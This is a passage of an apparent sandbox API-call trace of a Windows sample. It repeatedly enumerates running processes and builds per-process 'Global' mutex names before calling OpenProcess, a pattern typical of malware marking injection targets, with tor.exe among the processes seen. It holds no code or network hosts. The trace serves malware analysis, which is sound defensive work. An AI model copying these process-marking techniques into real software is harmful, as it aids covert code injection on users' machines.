cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.233] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.234] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.235] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.235] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0123.235] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0123.235] GetLastError () returned 0xb7 [0123.235] CloseHandle (hObject=0x56c) returned 1 [0123.235] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.236] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0123.236] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0123.236] GetLastError () returned 0xb7 [0123.236] CloseHandle (hObject=0x56c) returned 1 [0123.236] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.237] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.238] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0123.238] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0123.238] GetLastError () returned 0x0 [0123.238] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0123.238] CloseHandle (hObject=0x56c) returned 1 [0123.238] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.239] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0123.239] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0123.239] GetLastError () returned 0x0 [0123.239] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0123.239] CloseHandle (hObject=0x56c) returned 1 [0123.239] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.240] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0123.240] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0123.240] GetLastError () returned 0xb7 [0123.240] CloseHandle (hObject=0x56c) returned 1 [0123.240] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.241] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0123.241] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0123.241] GetLastError () returned 0x0 [0123.241] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0123.241] CloseHandle (hObject=0x56c) returned 1 [0123.241] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0123.242] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0123.242] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0123.243] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0123.244] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0123.245] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0123.246] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0123.246] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0123.247] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0123.248] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0123.249] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0123.250] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0123.250] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0123.251] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0123.252] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0123.253] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0123.253] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0123.254] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0123.255] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0123.256] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0123.257] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0123.257] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.258] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0123.259] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.260] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.260] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.261] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.262] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.263] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.263] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.264] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0123.265] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0123.265] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0123.265] GetLastError () returned 0xb7 [0123.265] CloseHandle (hObject=0x56c) returned 1 [0123.265] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0123.266] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0123.267] CloseHandle (hObject=0x6cc) returned 1 [0123.267] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0123.373] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0123.375] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.376] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.376] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.377] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.378] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.379] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.380] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.381] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.381] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.382] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.383] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.384] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.385] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.385] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.386] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.387] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.388] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.389] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.390] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.390] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.391] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.392] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0123.392] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0123.392] GetLastError () returned 0xb7 [0123.392] CloseHandle (hObject=0x56c) returned 1 [0123.392] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.393] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0123.393] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0123.393] GetLastError () returned 